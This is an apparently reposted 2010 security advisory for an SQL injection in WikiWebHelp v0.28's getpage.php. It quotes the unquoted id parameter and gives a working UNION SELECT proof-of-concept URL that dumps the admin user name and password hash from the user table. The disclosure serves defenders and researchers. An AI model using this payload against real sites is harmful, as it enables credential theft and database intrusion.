Lucene search
K

WikiWebHelp v0.28 SQL Injection Vulnerability

🗓️ 05 Jul 2010 00:00:00Reported by ADEO SecurityType 
zdt
 zdt
🔗 0day.today👁 27 Views

WikiWebHelp v0.28 SQL Injection Vulnerability in getpage.ph

Code
=============================================
WikiWebHelp v0.28 SQL Injection Vulnerability
=============================================


# Version: v0.28 (Possible all versions)
# Vendor: Richard Bondi - http://wikiwebhelp.org
# Download: http://wikiwebhelp.org/release/wwh-0.2.8.zip
 
# Description: "The goal of this project is to create a help
application that is editable by the community. Standard wiki systems
are great for many applications. The help application and the wiki is
an ideal marriage. The problem with the standard wiki in a help
application is that it leaves you jumping around and does not have the
smooth flow that we have with a desktop chm type viewer. This project
aims to return that smooth flow to your wiki based help application."
 
# Credit: Vulnerability founded by Canberk BOLAT at ADEO Security Labs
        - Mail: security[AT]adeo.com.tr
        - Web: http://security.adeo.com.tr
 
# Vulnerability:
In the file named as getpage.php user input don't used in single quotes.
 
handlers/getpage.php
---[snip]---
4   if($page==null) $page = $_GET['id'];
 
5  
 
6   $sql = "SELECT * FROM page INNER JOIN node ON
node.node_id=page.node_id WHERE node.node_id=$page";
---[snip]---
 
Its successfully exploitable. Please see # PoC section.
 
# PoC:
Request: http://server/handlers/getpage.php?id=9999999+UNION+SELECT+1,CONCAT_WS(0x3a,user_name,password),3,4,5,6,7+FROM+user+LIMIT+1
 
Response: admin:21232f297a57a5a743894a0e4a801fc3



#  0day.today [2018-03-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation